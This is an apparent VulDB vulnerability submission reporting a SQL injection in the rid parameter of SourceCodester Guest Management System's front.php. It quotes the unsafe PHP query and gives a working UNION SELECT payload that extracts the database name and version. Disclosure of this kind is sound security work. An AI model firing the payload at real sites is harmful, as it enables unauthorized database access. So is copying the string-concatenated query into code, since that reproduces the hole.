| 标题 | There is a SQL injection vulnerability in the guest management system. |
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| 描述 | There is a SQL injection vulnerability in the visitor management system, which does not check the query content entered by the user. The input content is controllable by the user, and the user can construct a malicious payload to attack the website.
Vulnerability file location: / guestmanagement / front.php
look at this source code
```
if(isset($_GET['rid'])){
$showResultFor = $_ GET['rid'];
}
$query = "SELECT * FROM info_visitor WHERE ReceiptID = '$showResultFor' AND Status = 'ONLINE' ";
```
There is no protection for $rid here. Malicious data can be constructed here to attack the website database.
The construction statement is as follows
```
? rid=0' union select 1,database(),3,@@version,5,6,7,8,9,10,11,12,13,14,15,16--+
```
https://s1.ax1x.com/2022/08/13/vtDZfe.png
Source link
https://www.sourcecodester.com/php/14664/guest-management-system-php-full-source-code.html |
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| 来源 | ⚠️ https://www.sourcecodester.com/php/14664/guest-management-system-php-full-source-code.html/ |
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| 用户 | qidian (UID 30810) |
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| 提交 | 2022-08-16 01時03分 (4 年前) |
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| 管理 | 2022-08-16 15時56分 (15 hours later) |
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| 状态 | 已接受 |
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| VulDB条目 | 206489 [SourceCodester Guest Management System front.php rid SQL注入] |
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| 积分 | 20 |
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